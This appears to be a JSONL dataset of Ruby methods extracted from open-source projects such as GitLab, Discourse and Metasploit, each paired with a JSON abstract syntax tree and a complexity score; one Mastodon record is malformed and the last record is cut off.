+{"repo_name":"discourse","file_path":"./repos/discourse/lib/guardian/user_guardian.rb","start_line":158,"raw_source":"def can_see_user_actions?(user, action_types)\n return true if !@user.anonymous? && (is_me?(user) || is_admin?)\n return false if SiteSetting.hide_user_activity_tab?\n (action_types & UserAction.private_types).empty?\n end","complexity_score":13.5,"ast_json":"{\"type\":\"def\",\"children\":[\"can_see_user_actions?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"arg\",\"children\":[\"action_types\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},\"anonymous?\"]},\"!\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"is_me?\",{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"send\",\"children\":[null,\"is_admin?\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"hide_user_activity_tab?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"action_types\"]},\"&\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UserAction\"]},\"private_types\"]}]}]},\"empty?\"]}]}]}","id":"3a9d3f5a-71e7-48fd-8ccb-69272db45a64"}
+{"repo_name":"sinatra","file_path":"./repos/sinatra/sinatra-contrib/lib/sinatra/webdav.rb","start_line":78,"raw_source":"def unlock?\n request_method == 'UNLOCK'\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"unlock?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request_method\"]},\"==\",{\"type\":\"str\",\"children\":[\"UNLOCK\"]}]}]}","id":"2841d31e-1fa6-4e12-88a6-ba3f5aaffc31"}
+{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/plugin/buffer/file_chunk.rb","start_line":252,"raw_source":"def write_metadata(update: true)\n data = @metadata.to_h.merge({\n id: @unique_id,\n s: (update ? @size + @adding_size : @size),\n c: @created_at,\n m: (update ? Fluent::Clock.real_now : @modified_at),\n })\n bin = Fluent::MessagePackFactory.thread_local_msgpack_packer.pack(data).full_pack\n size = [bin.bytesize].pack('N')\n @meta.seek(0, IO::SEEK_SET)\n @meta.write(BUFFER_HEADER + size + bin)\n end","complexity_score":20.6,"ast_json":"{\"type\":\"def\",\"children\":[\"write_metadata\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"update\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@metadata\"]},\"to_h\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"ivar\",\"children\":[\"@unique_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"s\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"update\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@size\"]},\"+\",{\"type\":\"ivar\",\"children\":[\"@adding_size\"]}]},{\"type\":\"ivar\",\"children\":[\"@size\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"c\"]},{\"type\":\"ivar\",\"children\":[\"@created_at\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"m\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"update\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fluent\"]},\"Clock\"]},\"real_now\"]},{\"type\":\"ivar\",\"children\":[\"@modified_at\"]}]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"bin\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fluent\"]},\"MessagePackFactory\"]},\"thread_local_msgpack_packer\"]},\"pack\",{\"type\":\"lvar\",\"children\":[\"data\"]}]},\"full_pack\"]}]},{\"type\":\"lvasgn\",\"children\":[\"size\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bin\"]},\"bytesize\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"N\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@meta\"]},\"seek\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IO\"]},\"SEEK_SET\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@meta\"]},\"write\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BUFFER_HEADER\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"size\"]}]},\"+\",{\"type\":\"lvar\",\"children\":[\"bin\"]}]}]}]}]}","id":"5ff319b8-a87a-450f-ae8f-5ecb192d5cb5"}
+{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/kerberos/model/enc_ap_rep_part.rb","start_line":32,"raw_source":"def decode(input)\n case input\n when String\n decode_string(input)\n when OpenSSL::ASN1::ASN1Data\n decode_asn1(input)\n else\n raise ::Rex::Proto::Kerberos::Model::Error::KerberosDecodingError, 'Failed to decode EncApRepPart, invalid input'\n end\n\n self\n end","complexity_score":6.7,"ast_json":"{\"type\":\"def\",\"children\":[\"decode\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"input\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"input\"]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"String\"]},{\"type\":\"send\",\"children\":[null,\"decode_string\",{\"type\":\"lvar\",\"children\":[\"input\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenSSL\"]},\"ASN1\"]},\"ASN1Data\"]},{\"type\":\"send\",\"children\":[null,\"decode_asn1\",{\"type\":\"lvar\",\"children\":[\"input\"]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"Proto\"]},\"Kerberos\"]},\"Model\"]},\"Error\"]},\"KerberosDecodingError\"]},{\"type\":\"str\",\"children\":[\"Failed to decode EncApRepPart, invalid input\"]}]}]},{\"type\":\"self\",\"children\":[]}]}]}","id":"18483cba-39f2-44cf-9d3c-192c5bac15ed"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/sidebars/projects/menus/settings_menu.rb","start_line":39,"raw_source":"def enabled_menu_items\n if can?(context.current_user, :admin_project, context.project)\n [\n general_menu_item,\n integrations_menu_item,\n webhooks_menu_item,\n access_tokens_menu_item,\n repository_menu_item,\n merge_requests_menu_item,\n ci_cd_menu_item,\n packages_and_registries_menu_item,\n monitor_menu_item,\n usage_quotas_menu_item\n ]\n else\n []\n end\n end","complexity_score":18.2,"ast_json":"{\"type\":\"def\",\"children\":[\"enabled_menu_items\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"can?\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"current_user\"]},{\"type\":\"sym\",\"children\":[\"admin_project\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"project\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"general_menu_item\"]},{\"type\":\"send\",\"children\":[null,\"integrations_menu_item\"]},{\"type\":\"send\",\"children\":[null,\"webhooks_menu_item\"]},{\"type\":\"send\",\"children\":[null,\"access_tokens_menu_item\"]},{\"type\":\"send\",\"children\":[null,\"repository_menu_item\"]},{\"type\":\"send\",\"children\":[null,\"merge_requests_menu_item\"]},{\"type\":\"send\",\"children\":[null,\"ci_cd_menu_item\"]},{\"type\":\"send\",\"children\":[null,\"packages_and_registries_menu_item\"]},{\"type\":\"send\",\"children\":[null,\"monitor_menu_item\"]},{\"type\":\"send\",\"children\":[null,\"usage_quotas_menu_item\"]}]},{\"type\":\"array\",\"children\":[]}]}]}","id":"2316e0bd-6d28-4182-a253-af06f222f79f"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/users/respond_to_terms_service.rb","start_line":11,"raw_source":"def execute(accepted:)\n agreement = @user.term_agreements.find_or_initialize_by(term: @term)\n agreement.accepted = accepted\n\n if agreement.save\n store_accepted_term(accepted)\n end\n\n agreement\n end","complexity_score":7.3,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"accepted\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"agreement\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},\"term_agreements\"]},\"find_or_initialize_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"term\"]},{\"type\":\"ivar\",\"children\":[\"@term\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"agreement\"]},\"accepted=\",{\"type\":\"lvar\",\"children\":[\"accepted\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"agreement\"]},\"save\"]},{\"type\":\"send\",\"children\":[null,\"store_accepted_term\",{\"type\":\"lvar\",\"children\":[\"accepted\"]}]},null]},{\"type\":\"lvar\",\"children\":[\"agreement\"]}]}]}","id":"bf50c84b-ab50-47a9-a239-d3f1d7ae5baf"}
+{"repo_name":"openproject","file_path":"./repos/openproject/modules/ldap_groups/app/services/ldap_groups/synchronize_groups_service.rb","start_line":31,"raw_source":"def synchronize_members(sync_group, ldap_con)\n user_data = get_members(ldap_con, sync_group)\n\n # Create users that are not existing\n users = map_to_users(sync_group, user_data)\n\n update_memberships!(sync_group, users)\n rescue StandardError => e\n Rails.logger.error \"[LDAP groups] Failed to synchronize group: #{sync_group.dn}: #{e.class} #{e.message}\"\n raise e\n end","complexity_score":15.5,"ast_json":"{\"type\":\"def\",\"children\":[\"synchronize_members\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sync_group\"]},{\"type\":\"arg\",\"children\":[\"ldap_con\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"user_data\",{\"type\":\"send\",\"children\":[null,\"get_members\",{\"type\":\"lvar\",\"children\":[\"ldap_con\"]},{\"type\":\"lvar\",\"children\":[\"sync_group\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"users\",{\"type\":\"send\",\"children\":[null,\"map_to_users\",{\"type\":\"lvar\",\"children\":[\"sync_group\"]},{\"type\":\"lvar\",\"children\":[\"user_data\"]}]}]},{\"type\":\"send\",\"children\":[null,\"update_memberships!\",{\"type\":\"lvar\",\"children\":[\"sync_group\"]},{\"type\":\"lvar\",\"children\":[\"users\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},\"error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"[LDAP groups] Failed to synchronize group: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sync_group\"]},\"dn\"]}]},{\"type\":\"str\",\"children\":[\": \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"class\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]},null]}]}","id":"6934d472-612c-4812-a53c-8e220d164be7"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/presenters/dev_ops_report/metric_presenter.rb","start_line":138,"raw_source":"def average_percentage_score\n cards.sum(&:percentage_score) / cards.size.to_f\n end","complexity_score":9.2,"ast_json":"{\"type\":\"def\",\"children\":[\"average_percentage_score\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cards\"]},\"sum\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"percentage_score\"]}]}]},\"/\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cards\"]},\"size\"]},\"to_f\"]}]}]}","id":"bb062449-3640-4892-802f-6ab8f14f5984"}
+{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/payload/java.rb","start_line":16,"raw_source":"def generate_stage(opts={})\n generate_default_stage(opts)\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"generate_stage\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"generate_default_stage\",{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]}","id":"758570be-1a80-4c21-97b0-1dfd633794dd"}
+{"repo_name":"mastodon","file_path":"./repos/mastodon/app/serializers/oembed_serializer.rb","start_line":74,"raw_source":"def html\n <<~HTML.squish\n
\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]}]},\"squish\"]}]}","id":"7cb24918-e911-411b-bd58-1f1259d75f23"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/import_export_upload.rb","start_line":37,"raw_source":"def export_archive_exists?\n !!carrierwave_export_file&.exists?\n # Handle any HTTP unexpected error\n # https://github.com/excon/excon/blob/bbb5bd791d0bb2251593b80e3bce98dbec6e8f24/lib/excon/error.rb#L129-L169\n rescue Excon::Error => e\n # The HEAD request will fail with a 403 Forbidden if the file does not\n # exist, and the user does not have permission to list the object\n # storage bucket.\n Gitlab::ErrorTracking.track_exception(e)\n false\n end","complexity_score":8.9,"ast_json":"{\"type\":\"def\",\"children\":[\"export_archive_exists?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"carrierwave_export_file\"]},\"exists?\"]},\"!\"]},\"!\"]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Excon\"]},\"Error\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"ErrorTracking\"]},\"track_exception\",{\"type\":\"lvar\",\"children\":[\"e\"]}]},{\"type\":\"false\",\"children\":[]}]}]},null]}]}","id":"75a9b82b-8636-4291-96f7-0599a8bb1310"}
+{"repo_name":"discourse","file_path":"./repos/discourse/lib/pretty_text.rb","start_line":158,"raw_source":"def self.reset_translations\n v8.eval(\"__resetTranslationTree()\")\n end","complexity_score":6.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"reset_translations\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"v8\"]},\"eval\",{\"type\":\"str\",\"children\":[\"__resetTranslationTree()\"]}]}]}","id":"7ad85d31-15c1-4c64-8847-a009075a159a"}
+{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/classification.rb","start_line":270,"raw_source":"def add_entry(options)\n raise _(\"entries can only be added to classifications\") unless category?\n\n # Inherit from parent classification\n options.merge!(:read_only => read_only, :syntax => syntax, :single_value => single_value, :ns => ns)\n children.create!(options)\n end","complexity_score":12.4,"ast_json":"{\"type\":\"def\",\"children\":[\"add_entry\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"category?\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"entries can only be added to classifications\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"merge!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"read_only\"]},{\"type\":\"send\",\"children\":[null,\"read_only\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"syntax\"]},{\"type\":\"send\",\"children\":[null,\"syntax\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"single_value\"]},{\"type\":\"send\",\"children\":[null,\"single_value\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ns\"]},{\"type\":\"send\",\"children\":[null,\"ns\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"children\"]},\"create!\",{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}","id":"47d3fd99-619e-4e48-a70f-6f3d1ea9fcdd"}
+{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-gamification/spec/lib/scorables/solutions_spec.rb","start_line":20,"raw_source":"def query_results\n DB.query(described_class.query, since: 2.days.ago)\n end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"query_results\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DB\"]},\"query\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"described_class\"]},\"query\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"since\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[2]},\"days\"]},\"ago\"]}]}]}]}]}","id":"7910a9e0-3a22-4119-bbd8-66deae141cbe"}
+{"repo_name":"forem","file_path":"./repos/forem/spec/requests/comments_create_spec.rb","start_line":202,"raw_source":"def reply_and_mention_comment_author_as_moderator(comment)\n allow(Settings::General).to receive(:mascot_user_id)\n .and_return(moderator_replier.id)\n\n sign_in moderator_replier\n post moderator_create_comments_path, params: comment_params(\n parent_id: comment.id,\n ).merge(response_template: { id: response_template.id })\n expect(response).to be_successful\n end","complexity_score":24.2,"ast_json":"{\"type\":\"def\",\"children\":[\"reply_and_mention_comment_author_as_moderator\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"comment\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allow\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Settings\"]},\"General\"]}]},\"to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"receive\",{\"type\":\"sym\",\"children\":[\"mascot_user_id\"]}]},\"and_return\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"moderator_replier\"]},\"id\"]}]}]},{\"type\":\"send\",\"children\":[null,\"sign_in\",{\"type\":\"send\",\"children\":[null,\"moderator_replier\"]}]},{\"type\":\"send\",\"children\":[null,\"post\",{\"type\":\"send\",\"children\":[null,\"moderator_create_comments_path\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"comment_params\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"parent_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"comment\"]},\"id\"]}]}]}]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"response_template\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"response_template\"]},\"id\"]}]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"response\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"be_successful\"]}]}]}]}","id":"dfb50405-449c-43e7-a3c4-8274edd854f2"}
+{"repo_name":"openproject","file_path":"./repos/openproject/modules/costs/app/controllers/costlog_controller.rb","start_line":164,"raw_source":"def cost_entry_params\n params.expect(cost_entry: %i[user_id entity_id entity_type spent_on cost_type_id units comments])\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"cost_entry_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"expect\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"cost_entry\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"sym\",\"children\":[\"entity_id\"]},{\"type\":\"sym\",\"children\":[\"entity_type\"]},{\"type\":\"sym\",\"children\":[\"spent_on\"]},{\"type\":\"sym\",\"children\":[\"cost_type_id\"]},{\"type\":\"sym\",\"children\":[\"units\"]},{\"type\":\"sym\",\"children\":[\"comments\"]}]}]}]}]}]}","id":"e0a31877-1248-48a1-8bdc-1ffad6bf6d91"}
+{"repo_name":"discourse","file_path":"./repos/discourse/app/models/concerns/cached_counting.rb","start_line":118,"raw_source":"def self.flush_to_db\n redis = Discourse.redis.without_namespace\n DistributedMutex.synchronize(\"flush_counters_to_db\", redis: redis, validity: 5.minutes) do\n if allowed_to_flush_to_db?\n redis\n .hkeys(COUNTER_REDIS_HASH)\n .each do |key|\n val = LUA_HGET_DEL.eval(redis, [COUNTER_REDIS_HASH, key]).to_i\n\n # unlikely (protected by mutex), but protect just in case\n # could be a race condition in test\n if val > 0\n klass_name, db, date, local_key = key.split(\",\", 4)\n date = Date.strptime(date, \"%Y%m%d\")\n klass = Module.const_get(klass_name)\n\n RailsMultisite::ConnectionManagement.with_connection(db) do\n klass.write_cache!(local_key, val, date)\n end\n end\n end\n end\n end\n end","complexity_score":47.7,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"flush_to_db\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"redis\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"redis\"]},\"without_namespace\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DistributedMutex\"]},\"synchronize\",{\"type\":\"str\",\"children\":[\"flush_counters_to_db\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"redis\"]},{\"type\":\"lvar\",\"children\":[\"redis\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"validity\"]},{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[5]},\"minutes\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allowed_to_flush_to_db?\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"redis\"]},\"hkeys\",{\"type\":\"const\",\"children\":[null,\"COUNTER_REDIS_HASH\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"val\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"LUA_HGET_DEL\"]},\"eval\",{\"type\":\"lvar\",\"children\":[\"redis\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"COUNTER_REDIS_HASH\"]},{\"type\":\"lvar\",\"children\":[\"key\"]}]}]},\"to_i\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"val\"]},\">\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"klass_name\"]},{\"type\":\"lvasgn\",\"children\":[\"db\"]},{\"type\":\"lvasgn\",\"children\":[\"date\"]},{\"type\":\"lvasgn\",\"children\":[\"local_key\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"split\",{\"type\":\"str\",\"children\":[\",\"]},{\"type\":\"int\",\"children\":[4]}]}]},{\"type\":\"lvasgn\",\"children\":[\"date\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Date\"]},\"strptime\",{\"type\":\"lvar\",\"children\":[\"date\"]},{\"type\":\"str\",\"children\":[\"%Y%m%d\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"klass\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Module\"]},\"const_get\",{\"type\":\"lvar\",\"children\":[\"klass_name\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RailsMultisite\"]},\"ConnectionManagement\"]},\"with_connection\",{\"type\":\"lvar\",\"children\":[\"db\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"write_cache!\",{\"type\":\"lvar\",\"children\":[\"local_key\"]},{\"type\":\"lvar\",\"children\":[\"val\"]},{\"type\":\"lvar\",\"children\":[\"date\"]}]}]}]},null]}]}]},null]}]}]}]}","id":"79bbfc73-43b3-4e70-95f9-3b6dcac6d79a"}
+{"repo_name":"openproject","file_path":"./repos/openproject/modules/boards/spec/features/support/board_page.rb","start_line":358,"raw_source":"def rename_list(from, to)\n input = page.find_field(\"editable-toolbar-title\", with: from).click\n input.set to\n input.send_keys :enter\n\n expect_and_dismiss_toaster message: I18n.t(\"js.notice_successful_update\")\n end","complexity_score":8.8,"ast_json":"{\"type\":\"def\",\"children\":[\"rename_list\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"from\"]},{\"type\":\"arg\",\"children\":[\"to\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"input\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"find_field\",{\"type\":\"str\",\"children\":[\"editable-toolbar-title\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"with\"]},{\"type\":\"lvar\",\"children\":[\"from\"]}]}]}]},\"click\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"input\"]},\"set\",{\"type\":\"lvar\",\"children\":[\"to\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"input\"]},\"send_keys\",{\"type\":\"sym\",\"children\":[\"enter\"]}]},{\"type\":\"send\",\"children\":[null,\"expect_and_dismiss_toaster\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"child